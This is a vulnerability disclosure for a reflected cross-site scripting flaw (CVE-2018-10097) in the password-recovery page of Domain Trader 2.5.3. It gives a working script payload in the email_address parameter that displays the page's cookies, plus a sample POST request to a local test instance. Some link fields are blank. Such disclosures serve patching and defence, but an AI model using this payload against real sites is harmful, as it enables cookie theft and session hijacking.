Domain Trader 2.5.3 CVE-2018-10097 Cross-Site Scripting

Authors:Uladzislau Murashka   Risk:High
CVE:CVE-2018-10097           0day:Cross-Site Scripting  

0day-id:0DAY-10097            Date:2018-04-15


Cross-Site Scripting exists in Domain Trader 2.5.3 via the recoverlogin.php email_address parameter.


i>>?#  Domaintrader v.2.5.3 Cross-Site Scripting
#  6th of February, 2018
#  Found by Uladzislau Murashka -
#  Vendor homepage:
#  Software link:
#  Version of local application copy: 2.5.2 but valid also for 2.5.3
#  Tested on: Debian / PHP 5.x / Mozilla Firefox 56.0 (demo environment)
#  CVE: None (

Vulnerable page:
Exploit can be executed with POST request for password recovery:
Vulnerable field: <input name="email_address" id="email_address" value="" type="text">
Parameter "email_address=" is not filtered properly and also shows in output data from this field not filtered with any HTML char.

Used payload: ></SCRIPT>">'><SCRIPT>alert(document.cookie)</SCRIPT>

Example request on test environment:
POST /test/2.5.2/recoverlogin.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Referer: http://localhost/test/2.5.2/recoverlogin.php
Cookie: PHPSESSID=c489e1n55o930d9ar0mdia2440
Connection: close
Upgrade-Insecure-Requests: 1


By Uladzislau Murashka (


Leave a Reply